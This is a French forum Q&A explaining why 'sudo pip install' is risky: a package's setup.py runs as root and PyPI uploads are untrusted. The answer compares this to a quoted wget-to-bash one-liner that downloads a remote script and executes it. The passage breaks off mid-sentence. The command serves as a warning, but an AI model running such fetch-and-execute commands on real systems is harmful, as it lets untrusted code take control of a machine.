Avatar ·

Pourquoi ne faut-il pas utiliser sudo pip ?

📁 Question simple de débutant, pip : installation de bibliothèques Python

Pourquoi ne faut-il pas utiliser sudo pip ? Je ne comprends pas complètement cet aspect. On m'a suggéré de poser une question séparée. Cela pourrait également être utile à beaucoup d'autres personnes.

Avatar ·

"

n

Pourquoi NE PAS utiliser sudo pip install ?

n

Lors de l'installation d'un paquet, vous ne vous contentez pas de le placer dans votre système de fichiers, mais vous exécutez également le script setup.py. Comme n'importe qui peut télécharger un paquet sur PyPI, vous ne pouvez pas être sûr que setup.py ne contient pas de code dont l'exécution sous l'utilisateur root est indésirable/dangereuse/inadmissible.

n

En termes de niveau de danger, cela équivaut à exécuter un script shell "depuis le cloud" en tant que superutilisateur :

n
wget -O - http://example.com/some/unsafe/script.sh | bashn
n

Que faire alors ?

n

Option 1

n

Sauf dans les cas où cela vous est absolument nécess

Connectez-vous pour laisser une réponse

Blogs